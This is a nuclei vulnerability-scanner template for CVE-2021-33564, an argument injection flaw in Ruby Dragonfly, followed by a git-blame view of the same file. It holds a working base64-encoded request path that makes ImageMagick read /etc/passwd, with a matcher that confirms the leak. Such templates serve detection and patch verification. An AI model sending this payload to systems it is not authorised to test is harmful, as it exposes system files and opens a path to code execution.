nuclei-templates/http/cves/2021/CVE-2021-33564.yaml

id: CVE-2021-33564

info:
  name: Ruby Dragonfly <1.4.0 - Remote Code Execution
  author: 0xsapra
  severity: critical
  description: Ruby Dragonfly before 1.4.0 contains an argument injection vulnerability that allows remote attackers to read and write to arbitrary files via a crafted URL when the verify_url option is disabled. This may lead to code execution. The problem occurs because the generate and process features mishandle use of the ImageMagick convert utility.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Upgrade Ruby Dragonfly to version 1.4.0 or later to mitigate this vulnerability.
  reference:
    - https://zxsecurity.co.nz/research/argunment-injection-ruby-dragonfly/
    - https://github.com/markevans/dragonfly/compare/v1.3.0...v1.4.0
    - https://github.com/markevans/dragonfly/commit/25399297bb457f7fcf8e3f91e85945b255b111b5
    - https://github.com/mlr0p/CVE-2021-33564
    - https://nvd.nist.gov/vuln/detail/CVE-2021-33564
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-33564
    cwe-id: CWE-88
    epss-score: 0.07547
    epss-percentile: 0.93983
    cpe: cpe:2.3:a:dragonfly_project:dragonfly:*:*:*:*:*:ruby:*:*
  metadata:
    max-request: 2
    vendor: dragonfly_project
    product: dragonfly
    framework: ruby
  tags: cve2021,cve,rce,ruby,injection,dragonfly_project

http:
  - method: GET
    path:
      - "{{BaseURL}}/system/images/W1siZyIsICJjb252ZXJ0IiwgIi1zaXplIDF4MSAtZGVwdGggOCBncmF5Oi9ldGMvcGFzc3dkIiwgIm91dCJdXQ=="
      - "{{BaseURL}}/system/refinery/images/W1siZyIsICJjb252ZXJ0IiwgIi1zaXplIDF4MSAtZGVwdGggOCBncmF5Oi9ldGMvcGFzc3dkIiwgIm91dCJdXQ=="

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100fedddd3b0c3c181be9ed1e39e2c4ecaf464d531fd99a1c6345d8e22da25b125a02200be2fbfbdff1772eaca2a38fa236e4005c9bcf73fcc8e20918a899169d6adfbd:922c64590222798bb761d5b6d8e72950
CVE-2021-33564.yaml 2021-05-28 21:03:38 +00:00			`id: CVE-2021-33564`

			`info:`
Dashboard Content Enhancements (#4426) Dashboard Content Enhancements 2022-05-18 20:58:07 +00:00			`name: Ruby Dragonfly <1.4.0 - Remote Code Execution`
CVE-2021-33564.yaml 2021-05-28 21:03:38 +00:00			`author: 0xsapra`
			`severity: critical`
Dashboard Content Enhancements (#4426) Dashboard Content Enhancements 2022-05-18 20:58:07 +00:00			`description: Ruby Dragonfly before 1.4.0 contains an argument injection vulnerability that allows remote attackers to read and write to arbitrary files via a crafted URL when the verify_url option is disabled. This may lead to code execution. The problem occurs because the generate and process features mishandle use of the ImageMagick convert utility.`
Added Impact 2023-09-27 15:51:13 +00:00			`impact: \|`
			`Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.`
Updated 2021 CVEs 2023-09-06 12:09:01 +00:00			`remediation: \|`
			`Upgrade Ruby Dragonfly to version 1.4.0 or later to mitigate this vulnerability.`
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes 2022-04-22 10:38:41 +00:00			`reference:`
			`- https://zxsecurity.co.nz/research/argunment-injection-ruby-dragonfly/`
additional reference to cves templates (#4395) * additional reference to cves templates * Update CVE-2006-1681.yaml * Update CVE-2009-3318.yaml * Update CVE-2009-4223.yaml * Update CVE-2010-0942.yaml * Update CVE-2010-0944.yaml * Update CVE-2010-0972.yaml * Update CVE-2010-1304.yaml * Update CVE-2010-1308.yaml * Update CVE-2010-1313.yaml * Update CVE-2010-1461.yaml * Update CVE-2010-1470.yaml * Update CVE-2010-1471.yaml * Update CVE-2010-1472.yaml * Update CVE-2010-1474.yaml * removed duplicate references * misc fix Co-authored-by: Prince Chaddha <prince@projectdiscovery.io> Co-authored-by: Prince Chaddha <cyberbossprince@gmail.com> 2022-05-17 09:18:12 +00:00			`- https://github.com/markevans/dragonfly/compare/v1.3.0...v1.4.0`
			`- https://github.com/markevans/dragonfly/commit/25399297bb457f7fcf8e3f91e85945b255b111b5`
			`- https://github.com/mlr0p/CVE-2021-33564`
Dashboard Content Enhancements (#4426) Dashboard Content Enhancements 2022-05-18 20:58:07 +00:00			`- https://nvd.nist.gov/vuln/detail/CVE-2021-33564`
Added cve annotations + severity adjustments 2021-09-10 11:26:40 +00:00			`classification:`
			`cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes 2022-04-22 10:38:41 +00:00			`cvss-score: 9.8`
Added cve annotations + severity adjustments 2021-09-10 11:26:40 +00:00			`cve-id: CVE-2021-33564`
			`cwe-id: CWE-88`
TemplateMan Update [Sat Mar 23 09:28:19 UTC 2024] :robot: 2024-03-23 09:28:19 +00:00			`epss-score: 0.07547`
			`epss-percentile: 0.93983`
Updated 2021 CVEs 2023-09-06 12:09:01 +00:00			`cpe: cpe:2.3:a:dragonfly_project:dragonfly::::::ruby::*`
Added max request counter of each template 2023-04-28 08:11:21 +00:00			`metadata:`
			`max-request: 2`
CVE Enrichment :tada: 2023-07-11 19:49:27 +00:00			`vendor: dragonfly_project`
			`product: dragonfly`
Updated 2021 CVEs 2023-09-06 12:09:01 +00:00			`framework: ruby`
auto tagging via templateman 2024-01-14 09:21:50 +00:00			`tags: cve2021,cve,rce,ruby,injection,dragonfly_project`
CVE-2021-33564.yaml 2021-05-28 21:03:38 +00:00
Refactoring the directory structure based on protocols (#7137) * moving http templates * updated cves.json * moved network CVEs * updated scripts * updated workflows * updated requests to http * replaced network to tcp --------- Co-authored-by: sandeep <8293321+ehsandeep@users.noreply.github.com> 2023-04-27 04:28:59 +00:00			`http:`
CVE-2021-33564.yaml 2021-05-28 21:03:38 +00:00			`- method: GET`
			`path:`
			`- "{{BaseURL}}/system/images/W1siZyIsICJjb252ZXJ0IiwgIi1zaXplIDF4MSAtZGVwdGggOCBncmF5Oi9ldGMvcGFzc3dkIiwgIm91dCJdXQ=="`
			`- "{{BaseURL}}/system/refinery/images/W1siZyIsICJjb252ZXJ0IiwgIi1zaXplIDF4MSAtZGVwdGggOCBncmF5Oi9ldGMvcGFzc3dkIiwgIm91dCJdXQ=="`

			`matchers-condition: and`
			`matchers:`
			`- type: regex`
			`regex:`
matcher update to handle edge cases 2021-07-24 21:35:55 +00:00			`- "root:.*:0:0:"`
CVE Enrichment :tada: 2023-07-11 19:49:27 +00:00
			`- type: status`
			`status:`
			`- 200`
Auto Template Signing [Fri Jan 26 08:31:11 UTC 2024] :robot: 2024-01-26 08:31:11 +00:00			`# digest: 4a0a00473045022100fedddd3b0c3c181be9ed1e39e2c4ecaf464d531fd99a1c6345d8e22da25b125a02200be2fbfbdff1772eaca2a38fa236e4005c9bcf73fcc8e20918a899169d6adfbd:922c64590222798bb761d5b6d8e72950`